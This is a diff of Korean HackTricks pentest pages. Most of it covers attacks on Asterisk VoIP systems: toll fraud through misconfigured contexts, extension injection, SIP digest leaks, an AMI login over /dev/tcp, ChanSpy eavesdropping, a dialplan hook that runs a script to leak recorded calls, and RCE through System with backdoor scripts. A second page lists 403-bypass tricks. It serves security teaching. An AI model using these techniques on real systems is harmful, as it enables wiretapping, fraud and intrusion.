**`type=friend`**가 사용될 때, **host** 변수의 **값**은 **사용되지 않으므로**, 관리자가 해당 값을 사용하여 **SIP-trunk를 잘못 구성하면**, **누구나 연결할 수 있습니다**.
|
||||
**`type=friend`**가 사용될 때, **host** 변수의 **값은 사용되지 않으므로**, 관리자가 그 값을 사용하여 **SIP 트렁크를 잘못 구성하면**, **누구나 연결할 수 있습니다**.
|
||||
|
||||
예를 들어, 이 구성은 취약할 것입니다:\
|
||||
`host=10.10.10.10`\
|
||||
|
@ -367,9 +375,9 @@ If an IP address is specified, the host **REGISTER** 요청을 주기적으로
|
|||
`type=friend`
|
||||
{% endhint %}
|
||||
|
||||
### 무료 통화 / Asterisks 컨텍스트 잘못 구성
|
||||
### 무료 통화 / Asterisk 컨텍스트 잘못 구성
|
||||
|
||||
Asterisk에서 **컨텍스트**는 **관련된 확장, 작업 및 규칙을 그룹화하는** 이름이 있는 컨테이너 또는 섹션입니다. 다이얼 플랜은 Asterisk 시스템의 핵심 구성 요소로, **수신 및 발신 전화를 처리하고 라우팅하는 방법을 정의합니다**. 컨텍스트는 다이얼 플랜을 구성하고, 접근 제어를 관리하며, 시스템의 서로 다른 부분 간의 분리를 제공합니다.
|
||||
Asterisk에서 **컨텍스트**는 **관련된 확장, 작업 및 규칙을 그룹화하는 이름이 있는 컨테이너 또는 섹션**입니다. 다이얼 플랜은 Asterisk 시스템의 핵심 구성 요소로, **수신 및 발신 전화를 처리하고 라우팅하는 방법을 정의합니다**. 컨텍스트는 다이얼 플랜을 구성하고, 접근 제어를 관리하며, 시스템의 서로 다른 부분 간의 분리를 제공합니다.
|
||||
|
||||
각 컨텍스트는 구성 파일, 일반적으로 **`extensions.conf`** 파일에 정의됩니다. 컨텍스트는 대괄호로 표시되며, 그 안에 컨텍스트 이름이 포함됩니다. 예:
|
||||
```bash
|
||||
|
@ -382,7 +390,7 @@ exten => 100,1,Answer()
|
|||
exten => 100,n,Playback(welcome)
|
||||
exten => 100,n,Hangup()
|
||||
```
|
||||
이 예제는 "my\_context"라는 간단한 컨텍스트와 "100"이라는 확장을 보여줍니다. 누군가 100을 다이얼하면, 통화가 연결되고 환영 메시지가 재생된 후 통화가 종료됩니다.
|
||||
이 예제는 "my\_context"라는 간단한 컨텍스트와 "100"이라는 확장을 보여줍니다. 누군가 100을 다이얼하면, 통화가 연결되고, 환영 메시지가 재생된 후 통화가 종료됩니다.
|
||||
|
||||
이것은 **다른 컨텍스트**로, **다른 번호로 전화를 걸 수 있게** 합니다:
|
||||
```scss
|
||||
|
@ -403,9 +411,9 @@ include => external
|
|||
게다가 기본적으로 **`sip.conf`** 파일에는 **`allowguest=true`**가 포함되어 있으므로 **인증 없이** **어떤** 공격자도 다른 번호로 전화를 걸 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
* **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite는 **PBX 서버가 인증 없이 전화를 걸 수 있도록 허용하는지** 확인합니다. SIP 서버의 구성이 잘못된 경우 외부 번호로 전화를 걸 수 있도록 허용합니다. 또한 전화를 두 번째 외부 번호로 전송할 수 있도록 허용할 수 있습니다.
|
||||
* **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS 초대는 **PBX 서버가 인증 없이 전화를 걸 수 있도록 허용하는지** 확인합니다. SIP 서버의 구성이 잘못된 경우 외부 번호로 전화를 걸 수 있도록 허용합니다. 또한 전화를 두 번째 외부 번호로 전송할 수 있도록 허용할 수 있습니다.
|
||||
|
||||
예를 들어, Asterisk 서버에 잘못된 컨텍스트 구성이 있는 경우, 인증 없이 INVITE 요청을 수락할 수 있습니다. 이 경우 공격자는 사용자/비밀번호를 알지 못하고도 전화를 걸 수 있습니다.
|
||||
예를 들어, Asterisk 서버에 잘못된 컨텍스트 구성이 있는 경우 인증 없이 INVITE 요청을 수락할 수 있습니다. 이 경우 공격자는 사용자/비밀번호를 알지 못하고도 전화를 걸 수 있습니다.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -419,17 +427,17 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
|
|||
|
||||
### 무료 통화 / 잘못 구성된 IVRS
|
||||
|
||||
IVRS는 **인터랙티브 음성 응답 시스템**을 의미하며, 사용자가 음성 또는 터치톤 입력을 통해 컴퓨터화된 시스템과 상호작용할 수 있도록 하는 전화 기술입니다. IVRS는 정보를 제공하고, 전화를 라우팅하며, 사용자 입력을 캡처하는 등 다양한 기능을 제공하는 **자동화된 통화 처리** 시스템을 구축하는 데 사용됩니다.
|
||||
IVRS는 **인터랙티브 음성 응답 시스템**을 의미하며, 사용자가 음성 또는 터치톤 입력을 통해 컴퓨터화된 시스템과 상호작용할 수 있도록 하는 전화 기술입니다. IVRS는 정보를 제공하고, 전화를 라우팅하며, 사용자 입력을 캡처하는 등 다양한 기능을 제공하는 **자동 통화 처리** 시스템을 구축하는 데 사용됩니다.
|
||||
|
||||
VoIP 시스템의 IVRS는 일반적으로 다음으로 구성됩니다:
|
||||
|
||||
1. **음성 프롬프트**: 사용자에게 IVR 메뉴 옵션 및 지침을 안내하는 미리 녹음된 오디오 메시지입니다.
|
||||
1. **음성 프롬프트**: 사용자가 IVR 메뉴 옵션 및 지침을 안내받을 수 있도록 하는 미리 녹음된 오디오 메시지입니다.
|
||||
2. **DTMF** (듀얼 톤 다중 주파수) 신호: 전화 키를 눌러 생성된 터치톤 입력으로, IVR 메뉴를 탐색하고 입력을 제공하는 데 사용됩니다.
|
||||
3. **통화 라우팅**: 사용자 입력에 따라 특정 부서, 상담원 또는 내선으로 전화를 적절한 목적지로 안내합니다.
|
||||
4. **사용자 입력 캡처**: 계좌 번호, 사건 ID 또는 기타 관련 데이터를 포함하여 발신자로부터 정보를 수집합니다.
|
||||
4. **사용자 입력 캡처**: 발신자로부터 계좌 번호, 사건 ID 또는 기타 관련 데이터를 수집합니다.
|
||||
5. **외부 시스템과의 통합**: IVR 시스템을 데이터베이스 또는 기타 소프트웨어 시스템에 연결하여 정보를 액세스하거나 업데이트하고, 작업을 수행하거나 이벤트를 트리거합니다.
|
||||
|
||||
Asterisk VoIP 시스템에서는 다이얼 플랜 (**`extensions.conf`** 파일)과 `Background()`, `Playback()`, `Read()` 등 다양한 애플리케이션을 사용하여 IVR을 생성할 수 있습니다. 이러한 애플리케이션은 음성 프롬프트를 재생하고, 사용자 입력을 캡처하며, 통화 흐름을 제어하는 데 도움을 줍니다.
|
||||
Asterisk VoIP 시스템에서는 다이얼 플랜 (**`extensions.conf`** 파일)과 `Background()`, `Playback()`, `Read()` 등의 다양한 애플리케이션을 사용하여 IVR을 생성할 수 있습니다. 이러한 애플리케이션은 음성 프롬프트를 재생하고, 사용자 입력을 캡처하며, 통화 흐름을 제어하는 데 도움을 줍니다.
|
||||
|
||||
#### 취약한 구성의 예
|
||||
```scss
|
||||
|
@ -439,10 +447,10 @@ exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
|
|||
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
|
||||
exten => 0,104,Dial(LOCAL/${numbers})
|
||||
```
|
||||
이전은 사용자가 **부서를 호출하기 위해 1을 누르거나**, **다른 부서를 호출하기 위해 2를 누르거나**, **알고 있는 전체 내선 번호를 입력하라는** 예입니다.\
|
||||
취약점은 지정된 **내선 길이가 확인되지 않기 때문에 사용자가 5초 타임아웃을 입력하여 전체 번호를 입력할 수 있고, 호출될 수 있다는** 사실입니다.
|
||||
이전 예시는 사용자가 **부서를 호출하기 위해 1을 누르거나**, **다른 부서를 호출하기 위해 2를 누르거나**, **알고 있는 전체 내선 번호를 입력하도록 요청받는** 경우입니다.\
|
||||
취약점은 지정된 **내선 길이가 확인되지 않기 때문에 사용자가 5초 타임아웃을 입력하여 전체 번호를 입력할 수 있고, 호출될 수 있다는 점입니다.**
|
||||
|
||||
### Extension Injection
|
||||
### 내선 주입
|
||||
|
||||
다음과 같은 내선을 사용하여:
|
||||
```scss
|
||||
|
@ -452,7 +460,7 @@ Where **`${EXTEN}`**는 호출될 **내선**이며, **ext 101이 도입되면**
|
|||
```scss
|
||||
exten => 101,1,Dial(SIP/101)
|
||||
```
|
||||
그러나 **`${EXTEN}`**이 **숫자 이상**을 입력할 수 있게 허용한다면(구버전 Asterisk와 같이), 공격자는 **`101&SIP123123123`**을 입력하여 전화번호 123123123으로 전화를 걸 수 있습니다. 그리고 이것이 결과입니다:
|
||||
그러나 **`${EXTEN}`**이 **숫자 이외의 것**을 입력할 수 있게 허용한다면(구버전 Asterisk와 같이), 공격자는 **`101&SIP123123123`**을 입력하여 전화번호 123123123으로 전화를 걸 수 있습니다. 그리고 이것이 결과입니다:
|
||||
```scss
|
||||
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
|
||||
```
|
||||
|
@ -460,11 +468,11 @@ exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
|
|||
|
||||
## SIPDigestLeak 취약점
|
||||
|
||||
SIP Digest Leak는 하드웨어 및 소프트웨어 IP 전화와 전화 어댑터(VoIP에서 아날로그로) 등 많은 SIP 전화에 영향을 미치는 취약점입니다. 이 취약점은 **비밀번호로부터 계산된 Digest 인증 응답의 유출**을 허용합니다. **오프라인 비밀번호 공격이 가능해지며** 도전 응답을 기반으로 대부분의 비밀번호를 복구할 수 있습니다.
|
||||
SIP Digest Leak는 하드웨어 및 소프트웨어 IP 전화와 전화 어댑터(VoIP에서 아날로그로 포함)와 같은 많은 SIP 전화에 영향을 미치는 취약점입니다. 이 취약점은 **비밀번호로부터 계산된 Digest 인증 응답의 유출**을 허용합니다. **오프라인 비밀번호 공격이 가능해지며** 도전 응답을 기반으로 대부분의 비밀번호를 복구할 수 있습니다.
|
||||
|
||||
**[여기에서의 취약점 시나리오**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
|
||||
|
||||
1. IP 전화(피해자)는 모든 포트(예: 5060)에서 전화를 수신하고 있습니다.
|
||||
1. IP 전화(피해자)는 모든 포트(예: 5060)에서 전화를 수신 대기 중입니다.
|
||||
2. 공격자가 IP 전화에 INVITE를 보냅니다.
|
||||
3. 피해자 전화가 울리기 시작하고 누군가 전화를 받고 끊습니다(상대방이 전화를 받지 않기 때문에).
|
||||
4. 전화가 끊어지면 **피해자 전화가 공격자에게 BYE를 보냅니다**.
|
||||
|
@ -495,7 +503,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
|
|||
```
|
||||
### Click2Call
|
||||
|
||||
Click2Call은 **웹 사용자**가 (예를 들어, 제품에 관심이 있을 수 있는) **전화번호**를 **제공**하여 전화를 받을 수 있도록 합니다. 그러면 상업적인 전화가 걸리고, 사용자가 **전화를 받으면** 사용자와 **상담원이 연결**됩니다.
|
||||
Click2Call은 **웹 사용자**(예를 들어, 제품에 관심이 있는 사용자)가 **전화번호**를 **제공**하여 전화를 받을 수 있도록 합니다. 그러면 상업적인 전화가 걸리고, 사용자가 **전화를 받으면** 사용자와 **상담원이 연결**됩니다.
|
||||
|
||||
이와 관련된 일반적인 Asterisk 프로필은:
|
||||
```scss
|
||||
|
@ -508,7 +516,7 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
|
|||
write = system,call,agent,user,config,command,reporting,originate
|
||||
```
|
||||
* 이전 프로필은 **모든 IP 주소가 연결할 수 있도록 허용**하고 있습니다 (비밀번호가 알려진 경우).
|
||||
* **전화를 조직하기 위해**, 이전에 명시된 대로, **읽기 권한이 필요하지 않으며** **오직** **쓰기**에서 **발신**만 필요합니다.
|
||||
* 이전에 명시된 대로 **전화를 조직하기 위해**는 **읽기 권한이 필요하지 않으며** **오직** **쓰기**에서 **발신**만 필요합니다.
|
||||
|
||||
이러한 권한으로 비밀번호를 아는 모든 IP가 연결하여 너무 많은 정보를 추출할 수 있습니다, 예를 들어:
|
||||
|
||||
|
@ -525,9 +533,9 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
|
|||
|
||||
Asterisk에서는 **`ChanSpy`** 명령어를 사용하여 **모니터링할 내선**(또는 모든 내선)을 지정하여 진행 중인 대화를 들을 수 있습니다. 이 명령어는 내선에 할당되어야 합니다.
|
||||
|
||||
예를 들어, **`exten => 333,1,ChanSpy('all',qb)`**는 **내선 333**으로 **전화**를 걸면 **모든** 내선을 **모니터링**하고, 새로운 대화가 시작될 때마다 (**`b`**) 조용한 모드(**`q`**)로 **듣기 시작**함을 나타냅니다. 우리는 이에 상호작용하고 싶지 않기 때문입니다. **`*`**를 눌러서 또는 내선 번호를 입력하여 진행 중인 대화에서 다른 대화로 이동할 수 있습니다.
|
||||
예를 들어, **`exten => 333,1,ChanSpy('all',qb)`**는 **내선 333**으로 **전화**를 걸면 **모든** 내선을 **모니터링**하고, 새로운 대화가 시작될 때마다 (**`b`**) 조용한 모드(**`q`**)로 **듣기 시작**함을 나타냅니다. 우리는 상호작용을 원하지 않기 때문입니다. **`*`**를 눌러서 또는 내선 번호를 입력하여 진행 중인 대화에서 다른 대화로 이동할 수 있습니다.
|
||||
|
||||
하나의 내선만 모니터링하려면 **`ExtenSpy`**를 사용할 수도 있습니다.
|
||||
**`ExtenSpy`**를 사용하여 하나의 내선만 모니터링하는 것도 가능합니다.
|
||||
|
||||
대화를 듣는 대신, 다음과 같은 내선을 사용하여 **파일에 기록**할 수 있습니다:
|
||||
|
||||
|
@ -541,7 +549,7 @@ exten => _X.,2,MixMonitor(${NAME})
|
|||
|
||||
통화는 **`/tmp`**에 저장됩니다.
|
||||
|
||||
Asterisk가 통화가 종료될 때 **통화를 유출하는 스크립트를 실행**하도록 할 수도 있습니다.
|
||||
Asterisk가 통화가 종료될 때 **통화를 유출하는 스크립트를 실행**하도록 만들 수도 있습니다.
|
||||
```scss
|
||||
exten => h,1,System(/tmp/leak_conv.sh &)
|
||||
```
|
||||
|
@ -549,7 +557,7 @@ exten => h,1,System(/tmp/leak_conv.sh &)
|
|||
|
||||
**RTCPBleed**는 Asterisk 기반 VoIP 서버에 영향을 미치는 주요 보안 문제입니다(2017년에 발표됨). 이 취약점은 VoIP 대화를 전달하는 **RTP(실시간 프로토콜) 트래픽**이 **인터넷의 누구나 가로채고 리디렉션할 수 있도록** 허용합니다. 이는 RTP 트래픽이 NAT(네트워크 주소 변환) 방화벽을 통과할 때 인증을 우회하기 때문에 발생합니다.
|
||||
|
||||
RTP 프록시는 두 개 이상의 당사자 간의 RTP 스트림을 프록시하여 RTC 시스템에 영향을 미치는 **NAT 제한**을 해결하려고 합니다. NAT가 있는 경우, RTP 프록시 소프트웨어는 종종 신호를 통해 검색된 RTP IP 및 포트 정보를 신뢰할 수 없습니다(예: SIP). 따라서 여러 RTP 프록시는 이러한 **IP 및 포트 튜플을 자동으로 학습하는 메커니즘**을 구현했습니다. 이는 종종 들어오는 RTP 트래픽을 검사하고 들어오는 RTP 트래픽의 출발지 IP 및 포트를 응답해야 할 것으로 표시하는 방식으로 수행됩니다. 이 메커니즘은 "학습 모드"라고 불릴 수 있으며, **어떠한 종류의 인증도 사용하지 않습니다**. 따라서 **공격자**는 **RTP 프록시로 RTP 트래픽을 전송하고** 진행 중인 RTP 스트림의 발신자 또는 수신자를 위해 의도된 프록시 RTP 트래픽을 받을 수 있습니다. 우리는 이 취약점을 RTP Bleed라고 부르며, 이는 공격자가 합법적인 사용자에게 전송될 RTP 미디어 스트림을 받을 수 있게 합니다.
|
||||
RTP 프록시는 두 개 이상의 당사자 간의 RTP 스트림을 프록시하여 RTC 시스템에 영향을 미치는 **NAT 제한**을 해결하려고 합니다. NAT가 있는 경우, RTP 프록시 소프트웨어는 종종 신호를 통해 검색된 RTP IP 및 포트 정보를 신뢰할 수 없습니다(예: SIP). 따라서 여러 RTP 프록시는 이러한 **IP 및 포트 튜플을 자동으로 학습하는 메커니즘**을 구현했습니다. 이는 종종 들어오는 RTP 트래픽을 검사하고 들어오는 RTP 트래픽의 출처 IP 및 포트를 응답해야 할 것으로 표시하는 방식으로 수행됩니다. 이 메커니즘은 "학습 모드"라고 불릴 수 있으며, **어떠한 종류의 인증도 사용하지 않습니다**. 따라서 **공격자**는 **RTP 프록시로 RTP 트래픽을 전송하고** 진행 중인 RTP 스트림의 발신자 또는 수신자를 위해 의도된 프록시 RTP 트래픽을 받을 수 있습니다. 우리는 이 취약점을 RTP Bleed라고 부르며, 이는 공격자가 합법적인 사용자에게 전송될 RTP 미디어 스트림을 받을 수 있게 합니다.
|
||||
|
||||
RTP 프록시와 RTP 스택의 또 다른 흥미로운 동작은 때때로 **RTP Bleed에 취약하지 않더라도** **모든 출처의 RTP 패킷을 수락하고 전달 및/또는 처리**한다는 것입니다. 따라서 공격자는 합법적인 미디어 대신 자신의 미디어를 주입할 수 있는 RTP 패킷을 보낼 수 있습니다. 우리는 이 공격을 RTP 주입이라고 부르며, 이는 기존 RTP 스트림에 불법적인 RTP 패킷을 주입할 수 있게 합니다. 이 취약점은 RTP 프록시와 엔드포인트 모두에서 발견될 수 있습니다.
|
||||
|
||||
|
@ -565,7 +573,7 @@ sippts rtpbleed -i 10.10.0.10
|
|||
```bash
|
||||
sippts rtcpbleed -i 10.10.0.10
|
||||
```
|
||||
* **`SIPPTS rtpbleedflood`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood는 RTP 스트림을 전송하여 RTP Bleed 취약점을 악용합니다.
|
||||
* **`SIPPTS rtpbleedflood`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood은 RTP 스트림을 전송하여 RTP Bleed 취약점을 악용합니다.
|
||||
```bash
|
||||
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
|
||||
```
|
||||
|
@ -575,14 +583,14 @@ sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
|
|||
```
|
||||
### RCE
|
||||
|
||||
Asterisk에서 어떻게든 **확장 규칙을 추가하고 이를 다시 로드**할 수 있다면(예: 취약한 웹 관리자 서버를 타겟으로 하여), **`System`** 명령을 사용하여 RCE를 얻을 수 있습니다.
|
||||
Asterisk에서 어떻게든 **확장 규칙을 추가하고 이를 다시 로드**할 수 있다면(예: 취약한 웹 관리자 서버를 타겟으로 삼아), **`System`** 명령어를 사용하여 RCE를 얻을 수 있습니다.
|
||||
```scss
|
||||
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
||||
```
|
||||
There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary.
|
||||
|
||||
{% hint style="warning" %}
|
||||
서버가 **`System`** 명령에서 **특정 문자의 사용을 금지**하고 있는 경우(예: Elastix), 웹 서버가 **시스템 내에서 파일을 생성할 수 있는지** 확인하고(예: Elastix 또는 trixbox), 이를 사용하여 **백도어 스크립트**를 생성한 다음 **`System`**을 사용하여 해당 **스크립트**를 **실행**하십시오.
|
||||
서버가 **`System`** 명령에서 **특정 문자의 사용을 금지**하고 있는 경우(예: Elastix), 웹 서버가 **시스템 내에서 파일을 생성할 수 있는지** 확인하고(예: Elastix 또는 trixbox), 이를 사용하여 **백도어 스크립트**를 **생성**한 다음 **`System`**을 사용하여 해당 **스크립트**를 **실행**하십시오.
|
||||
{% endhint %}
|
||||
|
||||
#### 흥미로운 로컬 파일 및 권한
|
||||
|
@ -622,7 +630,7 @@ VoIP 서버에서 DoS를 달성하기 위한 여러 방법이 있습니다.
|
|||
|
||||
### OS 취약점
|
||||
|
||||
Asterisk와 같은 소프트웨어를 설치하는 가장 쉬운 방법은 이미 설치된 **OS 배포판**을 다운로드하는 것입니다. 예: **FreePBX, Elastix, Trixbox**... 문제는 작동하기 시작하면 시스템 관리자가 **다시 업데이트하지 않을 수** 있으며 **취약점**이 시간이 지남에 따라 발견될 것이라는 점입니다.
|
||||
Asterisk와 같은 소프트웨어를 설치하는 가장 쉬운 방법은 이미 설치된 **OS 배포판**을 다운로드하는 것입니다. 예: **FreePBX, Elastix, Trixbox**... 문제는 작동하기 시작하면 시스템 관리자가 **다시 업데이트하지 않을 수** 있으며 **취약점**이 시간이 지남에 따라 발견될 것입니다.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -634,16 +642,24 @@ Asterisk와 같은 소프트웨어를 설치하는 가장 쉬운 방법은 이
|
|||
* [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내기 위해 20개 이상의 맞춤형 도구를 사용하고, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -10,14 +10,16 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드 보기
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -25,15 +27,15 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
파일에 접근하기 위해 **다양한 동사**를 사용해 보세요: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
|
||||
|
||||
* 응답 헤더를 확인하세요. 아마도 일부 정보가 제공될 수 있습니다. 예를 들어, **HEAD에 대한 200 응답**과 `Content-Length: 55`는 **HEAD 동사가 정보를 접근할 수 있음을 의미**합니다. 하지만 그 정보를 외부로 유출할 방법을 찾아야 합니다.
|
||||
* 응답 헤더를 확인하세요. 아마도 일부 정보가 제공될 수 있습니다. 예를 들어, **HEAD에 대한 200 응답**과 `Content-Length: 55`는 **HEAD 동사가 정보를 접근할 수 있음을 의미**합니다. 그러나 여전히 그 정보를 유출할 방법을 찾아야 합니다.
|
||||
* `X-HTTP-Method-Override: PUT`과 같은 HTTP 헤더를 사용하면 사용된 동사를 덮어쓸 수 있습니다.
|
||||
* **`TRACE`** 동사를 사용하고, 운이 좋다면 응답에서 유용할 수 있는 **중간 프록시가 추가한 헤더**를 볼 수 있습니다.
|
||||
|
||||
## HTTP 헤더 퍼징
|
||||
|
||||
* **Host 헤더**를 임의의 값으로 변경하세요 ([여기서 작동했습니다](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
|
||||
* **Host 헤더**를 임의의 값으로 변경하세요 ([여기서 작동한 것](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
|
||||
* [**다른 사용자 에이전트 사용**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt)하여 리소스에 접근해 보세요.
|
||||
* **HTTP 헤더 퍼징**: HTTP 프록시 **헤더**, HTTP 인증 기본 및 NTLM 무차별 대입(몇 가지 조합만 사용) 및 기타 기술을 시도해 보세요. 이를 위해 [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) 도구를 만들었습니다.
|
||||
* **HTTP 헤더 퍼징**: HTTP 프록시 **헤더**, HTTP 인증 기본 및 NTLM 브루트포스(몇 가지 조합만 사용) 및 기타 기술을 사용해 보세요. 이를 위해 [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) 도구를 만들었습니다.
|
||||
|
||||
* `X-Originating-IP: 127.0.0.1`
|
||||
* `X-Forwarded-For: 127.0.0.1`
|
||||
|
@ -62,7 +64,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
_if /path_가 차단된 경우:
|
||||
|
||||
* _**/**_**%2e/path_를 사용해 보세요 (접근이 프록시로 차단된 경우, 이 방법으로 보호를 우회할 수 있습니다). 또한 **\_\*\* /%252e\*\*/path (이중 URL 인코딩)**를 시도해 보세요.
|
||||
* _**/**_**%2e/path_를 사용해 보세요 (접근이 프록시로 차단된 경우, 이 방법으로 보호를 우회할 수 있습니다). 또한 **\_\*\* /%252e\*\*/path** (이중 URL 인코딩)를 시도해 보세요.
|
||||
* **유니코드 우회**를 시도하세요: _/**%ef%bc%8f**path_ (URL 인코딩된 문자는 "/"와 같으므로 다시 인코딩하면 _//path_가 되어 _/path_ 이름 검사를 이미 우회했을 수 있습니다.)
|
||||
* **기타 경로 우회**:
|
||||
* site.com/secret –> HTTP 403 Forbidden
|
||||
|
@ -105,16 +107,16 @@ HTTP/1.1을 사용하는 경우 **1.0을 사용해 보세요** 또는 **2.0을
|
|||
## **기타 우회**
|
||||
|
||||
* 도메인의 **IP** 또는 **CNAME**를 가져와서 **직접 연락해 보세요**.
|
||||
* **서버에 스트레스를 주는** 일반 GET 요청을 보내 보세요 ([이 사람은 Facebook에서 작동했습니다](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
|
||||
* **프로토콜 변경**: http에서 https로, 또는 https에서 http로 변경하세요.
|
||||
* [**https://archive.org/web/**](https://archive.org/web/)에 가서 과거에 해당 파일이 **전 세계적으로 접근 가능했는지** 확인하세요.
|
||||
